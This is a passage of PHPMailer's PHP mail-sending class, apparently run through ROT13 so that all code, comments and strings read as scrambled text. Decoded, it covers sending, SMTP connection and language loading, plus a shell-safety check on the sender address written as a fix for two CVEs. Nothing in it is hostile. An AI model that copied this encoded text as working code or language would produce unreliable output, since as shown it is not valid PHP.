            // Irevsl PuneFrg fgevat vf n inyvq bar, naq qbznva cebcreyl rapbqrq va guvf PuneFrg.
            vs ($guvf->unf8ovgPunef($qbznva) naq @zo_purpx_rapbqvat($qbznva, $guvf->PuneFrg)) {
                $qbznva = zo_pbaireg_rapbqvat($qbznva, 'HGS-8', $guvf->PuneFrg);
                vs (($chalpbqr = qrsvarq('VAGY_VQAN_INEVNAG_HGF46') ?
                    vqa_gb_nfpvv($qbznva, 0, VAGY_VQAN_INEVNAG_HGF46) :
                    vqa_gb_nfpvv($qbznva)) !== snyfr) {
                    erghea fhofge($nqqerff, 0, $cbf) . $chalpbqr;
                }
            }
        }
        erghea $nqqerff;
    }

    /**
     * Perngr n zrffntr naq fraq vg.
     * Hfrf gur fraqvat zrgubq fcrpvsvrq ol $Znvyre.
     * @guebjf cucznvyreRkprcgvba
     * @erghea obbyrna snyfr ba reebe - Frr gur ReebeVasb cebcregl sbe qrgnvyf bs gur reebe.
     */
    choyvp shapgvba fraq()
    {
        gel {
            vs (!$guvf->cerFraq()) {
                erghea snyfr;
            }
            erghea $guvf->cbfgFraq();
        } pngpu (cucznvyreRkprcgvba $rkp) {
            $guvf->znvyUrnqre = '';
            $guvf->frgReebe($rkp->trgZrffntr());
            vs ($guvf->rkprcgvbaf) {
                guebj $rkp;
            }
            erghea snyfr;
        }
    }

    /**
     * Cercner n zrffntr sbe fraqvat.
     * @guebjf cucznvyreRkprcgvba
     * @erghea obbyrna
     */
    choyvp shapgvba cerFraq()
    {
        gel {
            $guvf->reebe_pbhag = 0; // Erfrg reebef
            $guvf->znvyUrnqre = '';

            // Qrdhrhr erpvcvrag naq Ercyl-Gb nqqerffrf jvgu VQA
            sbernpu (neenl_zretr($guvf->ErpvcvragfDhrhr, $guvf->ErcylGbDhrhr) nf $cnenzf) {
                $cnenzf[1] = $guvf->chalrapbqrNqqerff($cnenzf[1]);
                pnyy_hfre_shap_neenl(neenl($guvf, 'nqqNaNqqerff'), $cnenzf);
            }
            vs ((pbhag($guvf->gb) + pbhag($guvf->pp) + pbhag($guvf->opp)) < 1) {
                guebj arj cucznvyreRkprcgvba($guvf->ynat('cebivqr_nqqerff'), frys::FGBC_PEVGVPNY);
            }

            // Inyvqngr Sebz, Fraqre, naq PbasvezErnqvatGb nqqerffrf
            sbernpu (neenl('Sebz', 'Fraqre', 'PbasvezErnqvatGb') nf $nqqerff_xvaq) {
                $guvf->$nqqerff_xvaq = gevz($guvf->$nqqerff_xvaq);
                vs (rzcgl($guvf->$nqqerff_xvaq)) {
                    pbagvahr;
                }
                $guvf->$nqqerff_xvaq = $guvf->chalrapbqrNqqerff($guvf->$nqqerff_xvaq);
                vs (!$guvf->inyvqngrNqqerff($guvf->$nqqerff_xvaq)) {
                    $reebe_zrffntr = $guvf->ynat('vainyvq_nqqerff') . ' (chalRapbqr) ' . $guvf->$nqqerff_xvaq;
                    $guvf->frgReebe($reebe_zrffntr);
                    $guvf->rqroht($reebe_zrffntr);
                    vs ($guvf->rkprcgvbaf) {
                        guebj arj cucznvyreRkprcgvba($reebe_zrffntr);
                    }
                    erghea snyfr;
                }
            }

            // Frg jurgure gur zrffntr vf zhygvcneg/nygreangvir
            vs ($guvf->nygreangvirRkvfgf()) {
                $guvf->PbagragGlcr = 'zhygvcneg/nygreangvir';
            }

            $guvf->frgZrffntrGlcr();
            // Ershfr gb fraq na rzcgl zrffntr hayrff jr ner fcrpvsvpnyyl nyybjvat vg
            vs (!$guvf->NyybjRzcgl naq rzcgl($guvf->Obql)) {
                guebj arj cucznvyreRkprcgvba($guvf->ynat('rzcgl_zrffntr'), frys::FGBC_PEVGVPNY);
            }

            // Perngr obql orsber urnqref va pnfr obql znxrf punatrf gb urnqref (r.t. nygrevat genafsre rapbqvat)
            $guvf->ZVZRUrnqre = '';
            $guvf->ZVZRObql = $guvf->perngrObql();
            // perngrObql znl unir nqqrq fbzr urnqref, fb ergnva gurz
            $grzcurnqref = $guvf->ZVZRUrnqre;
            $guvf->ZVZRUrnqre = $guvf->perngrUrnqre();
            $guvf->ZVZRUrnqre .= $grzcurnqref;

            // Gb pncgher gur pbzcyrgr zrffntr jura hfvat znvy(), perngr
            // na rkgen urnqre yvfg juvpu perngrUrnqre() qbrfa'g sbyq va
            vs ($guvf->Znvyre == 'znvy') {
                vs (pbhag($guvf->gb) > 0) {
                    $guvf->znvyUrnqre .= $guvf->nqqeNccraq('Gb', $guvf->gb);
                } ryfr {
                    $guvf->znvyUrnqre .= $guvf->urnqreYvar('Gb', 'haqvfpybfrq-erpvcvragf:;');
                }
                $guvf->znvyUrnqre .= $guvf->urnqreYvar(
                    'Fhowrpg',
                    $guvf->rapbqrUrnqre($guvf->frpherUrnqre(gevz($guvf->Fhowrpg)))
                );
            }

            // Fvta jvgu QXVZ vs ranoyrq
            vs (!rzcgl($guvf->QXVZ_qbznva)
                naq !rzcgl($guvf->QXVZ_fryrpgbe)
                naq (!rzcgl($guvf->QXVZ_cevingr_fgevat)
                    be (!rzcgl($guvf->QXVZ_cevingr)
                        naq frys::vfCrezvggrqCngu($guvf->QXVZ_cevingr)
                        naq svyr_rkvfgf($guvf->QXVZ_cevingr)
                    )
                )
            ) {
                $urnqre_qxvz = $guvf->QXVZ_Nqq(
                    $guvf->ZVZRUrnqre . $guvf->znvyUrnqre,
                    $guvf->rapbqrUrnqre($guvf->frpherUrnqre($guvf->Fhowrpg)),
                    $guvf->ZVZRObql
                );
                $guvf->ZVZRUrnqre = egevz($guvf->ZVZRUrnqre, "\e\a ") . frys::PEYS .
                    fge_ercynpr("\e\a", "\a", $urnqre_qxvz) . frys::PEYS;
            }
            erghea gehr;
        } pngpu (cucznvyreRkprcgvba $rkp) {
            $guvf->frgReebe($rkp->trgZrffntr());
            vs ($guvf->rkprcgvbaf) {
                guebj $rkp;
            }
            erghea snyfr;
        }
    }

    /**
     * Npghnyyl fraq n zrffntr.
     * Fraq gur rznvy ivn gur fryrpgrq zrpunavfz
     * @guebjf cucznvyreRkprcgvba
     * @erghea obbyrna
     */
    choyvp shapgvba cbfgFraq()
    {
        gel {
            // Pubbfr gur znvyre naq fraq guebhtu vg
            fjvgpu ($guvf->Znvyre) {
                pnfr 'fraqznvy':
                pnfr 'dznvy':
                    erghea $guvf->fraqznvyFraq($guvf->ZVZRUrnqre, $guvf->ZVZRObql);
                pnfr 'fzgc':
                    erghea $guvf->fzgcFraq($guvf->ZVZRUrnqre, $guvf->ZVZRObql);
                pnfr 'znvy':
                    erghea $guvf->znvyFraq($guvf->ZVZRUrnqre, $guvf->ZVZRObql);
                qrsnhyg:
                    $fraqZrgubq = $guvf->Znvyre.'Fraq';
                    vs (zrgubq_rkvfgf($guvf, $fraqZrgubq)) {
                        erghea $guvf->$fraqZrgubq($guvf->ZVZRUrnqre, $guvf->ZVZRObql);
                    }

                    erghea $guvf->znvyFraq($guvf->ZVZRUrnqre, $guvf->ZVZRObql);
            }
        } pngpu (cucznvyreRkprcgvba $rkp) {
            $guvf->frgReebe($rkp->trgZrffntr());
            $guvf->rqroht($rkp->trgZrffntr());
            vs ($guvf->rkprcgvbaf) {
                guebj $rkp;
            }
        }
        erghea snyfr;
    }

    /**
     * Fraq znvy hfvat gur $Fraqznvy cebtenz.
     * @cnenz fgevat $urnqre Gur zrffntr urnqref
     * @cnenz fgevat $obql Gur zrffntr obql
     * @frr CUCZnvyre::$Fraqznvy
     * @guebjf cucznvyreRkprcgvba
     * @npprff cebgrpgrq
     * @erghea obbyrna
     */
    cebgrpgrq shapgvba fraqznvyFraq($urnqre, $obql)
    {
        // PIR-2016-10033, PIR-2016-10045: Qba'g cnff -s vs punenpgref jvyy or rfpncrq.
        vs (!rzcgl($guvf->Fraqre) naq frys::vfFuryyFnsr($guvf->Fraqre)) {
            vs ($guvf->Znvyre == 'dznvy') {
                $fraqznvySzg = '%f -s%f';
            } ryfr {
                $fraqznvySzg = '%f -bv -s%f -g';
            }
        } ryfr {
            vs ($guvf->Znvyre == 'dznvy') {
                $fraqznvySzg = '%f';
            } ryfr {
                $fraqznvySzg = '%f -bv -g';
            }
        }

        // GBQB: Vs cbffvoyr, guvf fubhyq or punatrq gb rfpncrfuryynet.  Arrqf gubebhtu grfgvat.
        $fraqznvy = fcevags($fraqznvySzg, rfpncrfuryypzq($guvf->Fraqznvy), $guvf->Fraqre);

        vs ($guvf->FvatyrGb) {
            sbernpu ($guvf->FvatyrGbNeenl nf $gbNqqe) {
                vs (!@$znvy = cbcra($fraqznvy, 'j')) {
                    guebj arj cucznvyreRkprcgvba($guvf->ynat('rkrphgr') . $guvf->Fraqznvy, frys::FGBC_PEVGVPNY);
                }
                schgf($znvy, 'Gb: ' . $gbNqqe . "\a");
                schgf($znvy, $urnqre);
                schgf($znvy, $obql);
                $erfhyg = cpybfr($znvy);
                $guvf->qbPnyyonpx(
                    ($erfhyg == 0),
                    neenl($gbNqqe),
                    $guvf->pp,
                    $guvf->opp,
                    $guvf->Fhowrpg,
                    $obql,
                    $guvf->Sebz
                );
                vs ($erfhyg != 0) {
                    guebj arj cucznvyreRkprcgvba($guvf->ynat('rkrphgr') . $guvf->Fraqznvy, frys::FGBC_PEVGVPNY);
                }
            }
        } ryfr {
            vs (!@$znvy = cbcra($fraqznvy, 'j')) {
                guebj arj cucznvyreRkprcgvba($guvf->ynat('rkrphgr') . $guvf->Fraqznvy, frys::FGBC_PEVGVPNY);
            }
            schgf($znvy, $urnqre);
            schgf($znvy, $obql);
            $erfhyg = cpybfr($znvy);
            $guvf->qbPnyyonpx(
                ($erfhyg == 0),
                $guvf->gb,
                $guvf->pp,
                $guvf->opp,
                $guvf->Fhowrpg,
                $obql,
                $guvf->Sebz
            );
            vs ($erfhyg != 0) {
                guebj arj cucznvyreRkprcgvba($guvf->ynat('rkrphgr') . $guvf->Fraqznvy, frys::FGBC_PEVGVPNY);
            }
        }
        erghea gehr;
    }

    /**
     * Svk PIR-2016-10033 naq PIR-2016-10045 ol qvfnyybjvat cbgragvnyyl hafnsr furyy punenpgref.
     *
     * Abgr gung rfpncrfuryynet naq rfpncrfuryypzq ner vanqrdhngr sbe bhe checbfrf, rfcrpvnyyl ba Jvaqbjf.
     * @cnenz fgevat $fgevat Gur fgevat gb or inyvqngrq
     * @frr uggcf://tvguho.pbz/CUCZnvyre/CUCZnvyre/vffhrf/924 PIR-2016-10045 oht ercbeg
     * @npprff cebgrpgrq
     * @erghea obbyrna
     */
    cebgrpgrq fgngvp shapgvba vfFuryyFnsr($fgevat)
    {
        // Shgher-cebbs
        vs (rfpncrfuryypzq($fgevat) !== $fgevat
            be !va_neenl(rfpncrfuryynet($fgevat), neenl("'$fgevat'", "\"$fgevat\""))
        ) {
            erghea snyfr;
        }

        $yratgu = fgeyra($fgevat);

        sbe ($v = 0; $v < $yratgu; $v++) {
            $p = $fgevat[$v];

            // Nyy bgure punenpgref unir n fcrpvny zrnavat va ng yrnfg bar pbzzba furyy, vapyhqvat = naq +.
            // Shyy fgbc (.) unf n fcrpvny zrnavat va pzq.rkr, ohg vgf vzcnpg fubhyq or artyvtvoyr urer.
            // Abgr gung guvf qbrf crezvg aba-Yngva nycunahzrevp punenpgref onfrq ba gur pheerag ybpnyr.
            vs (!pglcr_nyahz($p) && fgecbf('@_-.', $p) === snyfr) {
                erghea snyfr;
            }
        }

        erghea gehr;
    }

    /**
     * Purpx jurgure n svyr cngu vf bs n crezvggrq glcr.
     * Hfrq gb erwrpg HEYf naq cune svyrf sebz shapgvbaf gung npprff ybpny svyr cnguf,
     * fhpu nf nqqNggnpuzrag.
     * @cnenz fgevat $cngu N eryngvir be nofbyhgr cngu gb n svyr.
     * @erghea obby
     */
    cebgrpgrq fgngvp shapgvba vfCrezvggrqCngu($cngu)
    {
        erghea !cert_zngpu('#^[n-m]+://#v', $cngu);
    }

    /**
     * Fraq znvy hfvat gur CUC znvy() shapgvba.
     * @cnenz fgevat $urnqre Gur zrffntr urnqref
     * @cnenz fgevat $obql Gur zrffntr obql
     * @yvax uggc://jjj.cuc.arg/znahny/ra/obbx.znvy.cuc
     * @guebjf cucznvyreRkprcgvba
     * @npprff cebgrpgrq
     * @erghea obbyrna
     */
    cebgrpgrq shapgvba znvyFraq($urnqre, $obql)
    {
        $gbNee = neenl();
        sbernpu ($guvf->gb nf $gbnqqe) {
            $gbNee[] = $guvf->nqqeSbezng($gbnqqe);
        }
        $gb = vzcybqr(', ', $gbNee);

        $cnenzf = ahyy;
        //Guvf frgf gur FZGC rairybcr fraqre juvpu trgf ghearq vagb n erghea-cngu urnqre ol gur erprvire
        vs (!rzcgl($guvf->Fraqre) naq $guvf->inyvqngrNqqerff($guvf->Fraqre)) {
            // PIR-2016-10033, PIR-2016-10045: Qba'g cnff -s vs punenpgref jvyy or rfpncrq.
            vs (frys::vfFuryyFnsr($guvf->Fraqre)) {
                $cnenzf = fcevags('-s%f', $guvf->Fraqre);
            }
        }
        vs (!rzcgl($guvf->Fraqre) naq !vav_trg('fnsr_zbqr') naq $guvf->inyvqngrNqqerff($guvf->Fraqre)) {
            $byq_sebz = vav_trg('fraqznvy_sebz');
            vav_frg('fraqznvy_sebz', $guvf->Fraqre);
        }
        $erfhyg = snyfr;
        vs ($guvf->FvatyrGb naq pbhag($gbNee) > 1) {
            sbernpu ($gbNee nf $gbNqqe) {
                $erfhyg = $guvf->znvyCnffgueh($gbNqqe, $guvf->Fhowrpg, $obql, $urnqre, $cnenzf);
                $guvf->qbPnyyonpx($erfhyg, neenl($gbNqqe), $guvf->pp, $guvf->opp, $guvf->Fhowrpg, $obql, $guvf->Sebz);
            }
        } ryfr {
            $erfhyg = $guvf->znvyCnffgueh($gb, $guvf->Fhowrpg, $obql, $urnqre, $cnenzf);
            $guvf->qbPnyyonpx($erfhyg, $guvf->gb, $guvf->pp, $guvf->opp, $guvf->Fhowrpg, $obql, $guvf->Sebz);
        }
        vs (vffrg($byq_sebz)) {
            vav_frg('fraqznvy_sebz', $byq_sebz);
        }
        vs (!$erfhyg) {
            guebj arj cucznvyreRkprcgvba($guvf->ynat('vafgnagvngr'), frys::FGBC_PEVGVPNY);
        }
        erghea gehr;
    }

    /**
     * Trg na vafgnapr gb hfr sbe FZGC bcrengvbaf.
     * Bireevqr guvf shapgvba gb ybnq lbhe bja FZGC vzcyrzragngvba
     * @erghea FZGC
     */
    choyvp shapgvba trgFZGCVafgnapr()
    {
        vs (!vf_bowrpg($guvf->fzgc)) {
            $guvf->fzgc = arj FZGC;
        }
        erghea $guvf->fzgc;
    }

    /**
     * Fraq znvy ivn FZGC.
     * Ergheaf snyfr vs gurer vf n onq ZNVY SEBZ, EPCG, be QNGN vachg.
     * Hfrf gur CUCZnvyreFZGC pynff ol qrsnhyg.
     * @frr CUCZnvyre::trgFZGCVafgnapr() gb hfr n qvssrerag pynff.
     * @cnenz fgevat $urnqre Gur zrffntr urnqref
     * @cnenz fgevat $obql Gur zrffntr obql
     * @guebjf cucznvyreRkprcgvba
     * @hfrf FZGC
     * @npprff cebgrpgrq
     * @erghea obbyrna
     */
    cebgrpgrq shapgvba fzgcFraq($urnqre, $obql)
    {
        $onq_epcg = neenl();
        vs (!$guvf->fzgcPbaarpg($guvf->FZGCBcgvbaf)) {
            guebj arj cucznvyreRkprcgvba($guvf->ynat('fzgc_pbaarpg_snvyrq'), frys::FGBC_PEVGVPNY);
        }
        vs (!rzcgl($guvf->Fraqre) naq $guvf->inyvqngrNqqerff($guvf->Fraqre)) {
            $fzgc_sebz = $guvf->Fraqre;
        } ryfr {
            $fzgc_sebz = $guvf->Sebz;
        }
        vs (!$guvf->fzgc->znvy($fzgc_sebz)) {
            $guvf->frgReebe($guvf->ynat('sebz_snvyrq') . $fzgc_sebz . ' : ' . vzcybqr(',', $guvf->fzgc->trgReebe()));
            guebj arj cucznvyreRkprcgvba($guvf->ReebeVasb, frys::FGBC_PEVGVPNY);
        }

        // Nggrzcg gb fraq gb nyy erpvcvragf
        sbernpu (neenl($guvf->gb, $guvf->pp, $guvf->opp) nf $gbtebhc) {
            sbernpu ($gbtebhc nf $gb) {
                vs (!$guvf->fzgc->erpvcvrag($gb[0])) {
                    $reebe = $guvf->fzgc->trgReebe();
                    $onq_epcg[] = neenl('gb' => $gb[0], 'reebe' => $reebe['qrgnvy']);
                    $vfFrag = snyfr;
                } ryfr {
                    $vfFrag = gehr;
                }
                $guvf->qbPnyyonpx($vfFrag, neenl($gb[0]), neenl(), neenl(), $guvf->Fhowrpg, $obql, $guvf->Sebz);
            }
        }

        // Bayl fraq gur QNGN pbzznaq vs jr unir ivnoyr erpvcvragf
        vs ((pbhag($guvf->nyy_erpvcvragf) > pbhag($onq_epcg)) naq !$guvf->fzgc->qngn($urnqre . $obql)) {
            guebj arj cucznvyreRkprcgvba($guvf->ynat('qngn_abg_npprcgrq'), frys::FGBC_PEVGVPNY);
        }
        vs ($guvf->FZGCXrrcNyvir) {
            $guvf->fzgc->erfrg();
        } ryfr {
            $guvf->fzgc->dhvg();
            $guvf->fzgc->pybfr();
        }
        //Perngr reebe zrffntr sbe nal onq nqqerffrf
        vs (pbhag($onq_epcg) > 0) {
            $reefge = '';
            sbernpu ($onq_epcg nf $onq) {
                $reefge .= $onq['gb'] . ': ' . $onq['reebe'];
            }
            guebj arj cucznvyreRkprcgvba(
                $guvf->ynat('erpvcvragf_snvyrq') . $reefge,
                frys::FGBC_PBAGVAHR
            );
        }
        erghea gehr;
    }

    /**
     * Vavgvngr n pbaarpgvba gb na FZGC freire.
     * Ergheaf snyfr vs gur bcrengvba snvyrq.
     * @cnenz neenl $bcgvbaf Na neenl bs bcgvbaf pbzcngvoyr jvgu fgernz_pbagrkg_perngr()
     * @hfrf FZGC
     * @npprff choyvp
     * @guebjf cucznvyreRkprcgvba
     * @erghea obbyrna
     */
    choyvp shapgvba fzgcPbaarpg($bcgvbaf = ahyy)
    {
        vs (vf_ahyy($guvf->fzgc)) {
            $guvf->fzgc = $guvf->trgFZGCVafgnapr();
        }

        //Vs ab bcgvbaf ner cebivqrq, hfr jungrire vf frg va gur vafgnapr
        vs (vf_ahyy($bcgvbaf)) {
            $bcgvbaf = $guvf->FZGCBcgvbaf;
        }

        // Nyernql pbaarpgrq?
        vs ($guvf->fzgc->pbaarpgrq()) {
            erghea gehr;
        }

        $guvf->fzgc->frgGvzrbhg($guvf->Gvzrbhg);
        $guvf->fzgc->frgQrohtYriry($guvf->FZGCQroht);
        $guvf->fzgc->frgQrohtBhgchg($guvf->Qrohtbhgchg);
        $guvf->fzgc->frgIrec($guvf->qb_irec);
        $ubfgf = rkcybqr(';', $guvf->Ubfg);
        $ynfgrkprcgvba = ahyy;

        sbernpu ($ubfgf nf $ubfgragel) {
            $ubfgvasb = neenl();
            vs (!cert_zngpu(
                '/^((ffy|gyf):\/\/)*([n-mN-M0-9\.-]*|\[[n-sN-S0-9:]+\]):?([0-9]*)$/',
                gevz($ubfgragel),
                $ubfgvasb
            )) {
                // Abg n inyvq ubfg ragel
                $guvf->rqroht('Vtabevat vainyvq ubfg: ' . $ubfgragel);
                pbagvahr;
            }
            // $ubfgvasb[2]: bcgvbany ffy be gyf cersvk
            // $ubfgvasb[3]: gur ubfganzr
            // $ubfgvasb[4]: bcgvbany cbeg ahzore
            // Gur ubfg fgevat cersvk pna grzcbenevyl bireevqr gur pheerag frggvat sbe FZGCFrpher
            // Vs vg'f abg fcrpvsvrq, gur qrsnhyg inyhr vf hfrq
            $cersvk = '';
            $frpher = $guvf->FZGCFrpher;
            $gyf = ($guvf->FZGCFrpher == 'gyf');
            vs ('ffy' == $ubfgvasb[2] be ('' == $ubfgvasb[2] naq 'ffy' == $guvf->FZGCFrpher)) {
                $cersvk = 'ffy://';
                $gyf = snyfr; // Pna'g unir FFY naq GYF ng gur fnzr gvzr
                $frpher = 'ffy';
            } ryfrvs ($ubfgvasb[2] == 'gyf') {
                $gyf = gehr;
                // gyf qbrfa'g hfr n cersvk
                $frpher = 'gyf';
            }
            //Qb jr arrq gur BcraFFY rkgrafvba?
            $ffyrkg = qrsvarq('BCRAFFY_NYTB_FUN1');
            vs ('gyf' === $frpher be 'ffy' === $frpher) {
                //Purpx sbe na BcraFFY pbafgnag engure guna hfvat rkgrafvba_ybnqrq, juvpu vf fbzrgvzrf qvfnoyrq
                vs (!$ffyrkg) {
                    guebj arj cucznvyreRkprcgvba($guvf->ynat('rkgrafvba_zvffvat').'bcraffy', frys::FGBC_PEVGVPNY);
                }
            }
            $ubfg = $ubfgvasb[3];
            $cbeg = $guvf->Cbeg;
            $gcbeg = (vagrtre)$ubfgvasb[4];
            vs ($gcbeg > 0 naq $gcbeg < 65536) {
                $cbeg = $gcbeg;
            }
            vs ($guvf->fzgc->pbaarpg($cersvk . $ubfg, $cbeg, $guvf->Gvzrbhg, $bcgvbaf)) {
                gel {
                    vs ($guvf->Uryb) {
                        $uryyb = $guvf->Uryb;
                    } ryfr {
                        $uryyb = $guvf->freireUbfganzr();
                    }
                    $guvf->fzgc->uryyb($uryyb);
                    //Nhgbzngvpnyyl ranoyr GYF rapelcgvba vs:
                    // * vg'f abg qvfnoyrq
                    // * jr unir bcraffy rkgrafvba
                    // * jr ner abg nyernql hfvat FFY
                    // * gur freire bssref FGNEGGYF
                    vs ($guvf->FZGCNhgbGYF naq $ffyrkg naq $frpher != 'ffy' naq $guvf->fzgc->trgFreireRkg('FGNEGGYF')) {
                        $gyf = gehr;
                    }
                    vs ($gyf) {
                        vs (!$guvf->fzgc->fgnegGYF()) {
                            guebj arj cucznvyreRkprcgvba($guvf->ynat('pbaarpg_ubfg'));
                        }
                        // Jr zhfg erfraq RUYB nsgre GYF artbgvngvba
                        $guvf->fzgc->uryyb($uryyb);
                    }
                    vs ($guvf->FZGCNhgu) {
                        vs (!$guvf->fzgc->nhguragvpngr(
                            $guvf->Hfreanzr,
                            $guvf->Cnffjbeq,
                            $guvf->NhguGlcr,
                            $guvf->Ernyz,
                            $guvf->Jbexfgngvba
                        )
                        ) {
                            guebj arj cucznvyreRkprcgvba($guvf->ynat('nhguragvpngr'));
                        }
                    }
                    erghea gehr;
                } pngpu (cucznvyreRkprcgvba $rkp) {
                    $ynfgrkprcgvba = $rkp;
                    $guvf->rqroht($rkp->trgZrffntr());
                    // Jr zhfg unir pbaarpgrq, ohg gura snvyrq GYF be Nhgu, fb pybfr pbaarpgvba avpryl
                    $guvf->fzgc->dhvg();
                }
            }
        }
        // Vs jr trg urer, nyy pbaarpgvba nggrzcgf unir snvyrq, fb pybfr pbaarpgvba uneq
        $guvf->fzgc->pybfr();
        // Nf jr'ir pnhtug nyy rkprcgvbaf, whfg ercbeg jungrire gur ynfg bar jnf
        vs ($guvf->rkprcgvbaf naq !vf_ahyy($ynfgrkprcgvba)) {
            guebj $ynfgrkprcgvba;
        }
        erghea snyfr;
    }

    /**
     * Pybfr gur npgvir FZGC frffvba vs bar rkvfgf.
     * @erghea ibvq
     */
    choyvp shapgvba fzgcPybfr()
    {
        vs (vf_n($guvf->fzgc, 'FZGC')) {
            vs ($guvf->fzgc->pbaarpgrq()) {
                $guvf->fzgc->dhvg();
                $guvf->fzgc->pybfr();
            }
        }
    }

    /**
     * Frg gur ynathntr sbe reebe zrffntrf.
     * Ergheaf snyfr vs vg pnaabg ybnq gur ynathntr svyr.
     * Gur qrsnhyg ynathntr vf Ratyvfu.
     * @cnenz fgevat $ynatpbqr VFB 639-1 2-punenpgre ynathntr pbqr (r.t. Serapu vf "se")
     * @cnenz fgevat $ynat_cngu Cngu gb gur ynathntr svyr qverpgbel, jvgu genvyvat frcnengbe (fynfu)
     * @erghea obbyrna
     * @npprff choyvp
     */
    choyvp shapgvba frgYnathntr($ynatpbqr = 'ra', $ynat_cngu = '')
    {
        // Onpxjneqf pbzcngvovyvgl sbe eranzrq ynathntr pbqrf
        $eranzrq_ynatpbqrf = neenl(
            'oe' => 'cg_oe',
            'pm' => 'pf',
            'qx' => 'qn',
            'ab' => 'ao',
            'fr' => 'fi',
            'fe' => 'ef'
        );

        vs (vffrg($eranzrq_ynatpbqrf[$ynatpbqr])) {
            $ynatpbqr = $eranzrq_ynatpbqrf[$ynatpbqr];
        }

        // Qrsvar shyy frg bs genafyngnoyr fgevatf va Ratyvfu
        $CUCZNVYRE_YNAT = neenl(
            'nhguragvpngr' => 'FZGC Reebe: Pbhyq abg nhguragvpngr.',
            'pbaarpg_ubfg' => 'FZGC Reebe: Pbhyq abg pbaarpg gb FZGC ubfg.',
            'qngn_abg_npprcgrq' => 'FZGC Reebe: qngn abg npprcgrq.',
            'rzcgl_zrffntr' => 'Zrffntr obql rzcgl',
            'rapbqvat' => 'Haxabja rapbqvat: ',
            'rkrphgr' => 'Pbhyq abg rkrphgr: ',
            'svyr_npprff' => 'Pbhyq abg npprff svyr: ',
            'svyr_bcra' => 'Svyr Reebe: Pbhyq abg bcra svyr: ',
            'sebz_snvyrq' => 'Gur sbyybjvat Sebz nqqerff snvyrq: ',
            'vafgnagvngr' => 'Pbhyq abg vafgnagvngr znvy shapgvba.',
            'vainyvq_nqqerff' => 'Vainyvq nqqerff: ',
            'znvyre_abg_fhccbegrq' => ' znvyre vf abg fhccbegrq.',
            'cebivqr_nqqerff' => 'Lbh zhfg cebivqr ng yrnfg bar erpvcvrag rznvy nqqerff.',
            'erpvcvragf_snvyrq' => 'FZGC Reebe: Gur sbyybjvat erpvcvragf snvyrq: ',
            'fvtavat' => 'Fvtavat Reebe: ',
            'fzgc_pbaarpg_snvyrq' => 'FZGC pbaarpg() snvyrq.',
            'fzgc_reebe' => 'FZGC freire reebe: ',
            'inevnoyr_frg' => 'Pnaabg frg be erfrg inevnoyr: ',
            'rkgrafvba_zvffvat' => 'Rkgrafvba zvffvat: '
        );
        vs (rzcgl($ynat_cngu)) {
            // Pnyphyngr na nofbyhgr cngu fb vg pna jbex vs PJQ vf abg urer
            $ynat_cngu = qveanzr(__SVYR__). QVERPGBEL_FRCNENGBE . 'ynathntr'. QVERPGBEL_FRCNENGBE;
        }
        //Inyvqngr $ynatpbqr
        vs (!cert_zngpu('/^[n-m]{2}(?:_[n-mN-M]{2})?$/', $ynatpbqr)) {
            $ynatpbqr = 'ra';
        }
        $sbhaqynat = gehr;
        $ynat_svyr = $ynat_cngu . 'cucznvyre.ynat-' . $ynatpbqr . '.cuc';
        // Gurer vf ab Ratyvfu genafyngvba svyr
        vs ($ynatpbqr != 'ra') {
            // Znxr fher ynathntr svyr cngu vf ernqnoyr
            vs (!frys::vfCrezvggrqCngu($ynat_svyr) be !vf_ernqnoyr($ynat_svyr)) {
                $sbhaqynat = snyfr;
            } ryfr {
                // Birejevgr ynathntr-fcrpvsvp fgevatf.
                // Guvf jnl jr'yy arire unir zvffvat genafyngvba xrlf.
                $sbhaqynat = vapyhqr $ynat_svyr;
            }
        }
        $guvf->ynathntr = $CUCZNVYRE_YNAT;
        erghea (obbyrna)$sbhaqynat; // Ergheaf snyfr vs ynathntr abg sbhaq
    }

    /**
     * Trg gur neenl bs fgevatf sbe gur pheerag ynathntr.
     * @erghea neenl
     */
    choyvp shapgvba trgGenafyngvbaf()
    {
        erghea $guvf->ynathntr;
    }

    /**
     * Perngr erpvcvrag urnqref.
     * @npprff choyvp
     * @cnenz fgevat $glcr
     * @cnenz neenl $nqqe Na neenl bs erpvcvrag,
     * jurer rnpu erpvcvrag vf n 2-ryrzrag vaqrkrq neenl jvgu ryrzrag 0 pbagnvavat na nqqerff
     * naq ryrzrag 1 pbagnvavat n anzr, yvxr:
     * neenl(neenl('wbr@rknzcyr.pbz', 'Wbr Hfre'), neenl('mbr@rknzcyr.pbz', 'Mbr Hfre'))
     * @erghea fgevat
     */
    choyvp shapgvba nqqeNccraq($glcr, $nqqe)
    {
        $nqqerffrf = neenl();
        sbernpu ($nqqe nf $nqqerff) {
            $nqqerffrf[] = $guvf->nqqeSbezng($nqqerff);
        }
        erghea $glcr . ': ' . vzcybqr(', ', $nqqerffrf) . $guvf->YR;
    }

    /**
     * Sbezng na nqqerff sbe hfr va n zrffntr urnqre.
     * @npprff choyvp
     * @cnenz neenl $nqqe N 2-ryrzrag vaqrkrq neenl, ryrzrag 0 pbagnvavat na nqqerff, ryrzrag 1 pbagnvavat n anzr
     *      yvxr neenl('wbr@rknzcyr.pbz', 'Wbr Hfre')
     * @erghea fgevat
     */
    choyvp shapgvba nqqeSbezng($nqqe)
    {
        vs (rzcgl($nqqe[1])) { // Ab anzr cebivqrq
            erghea $guvf->frpherUrnqre($nqqe[0]);
        } ryfr {
            erghea $guvf->rapbqrUrnqre($guvf->frpherUrnqre($nqqe[1]), 'cuenfr') . ' <' . $guvf->frpherUrnqre(
                $nqqe[0]
            ) . '>';
        }
    }

    /**
     * Jbeq-jenc zrffntr.
     * Sbe hfr jvgu znvyref gung qb abg nhgbzngvpnyyl cresbez jenccvat
     * naq sbe dhbgrq-cevagnoyr rapbqrq zrffntrf.
     * Bevtvany jevggra ol cuvyvccr.
     * @cnenz fgevat $zrffntr Gur zrffntr gb jenc
     * @cnenz vagrtre $yratgu Gur yvar yratgu gb jenc gb
     * @cnenz obbyrna $dc_zbqr Jurgure gb eha va Dhbgrq-Cevagnoyr zbqr
     * @npprff choyvp
     * @erghea fgevat
     */
    choyvp shapgvba jencGrkg($zrffntr, $yratgu, $dc_zbqr = snyfr)
    {
        vs ($dc_zbqr) {
            $fbsg_oernx = fcevags(' =%f', $guvf->YR);
        } ryfr {
            $fbsg_oernx = $guvf->YR;
        }
        // Vs hgs-8 rapbqvat vf hfrq, jr jvyy arrq gb znxr fher jr qba'g
        // fcyvg zhygvolgr punenpgref jura jr jenc
        $vf_hgs8 = (fgegbybjre($guvf->PuneFrg) == 'hgs-8');
        $yryra = fgeyra($guvf->YR);
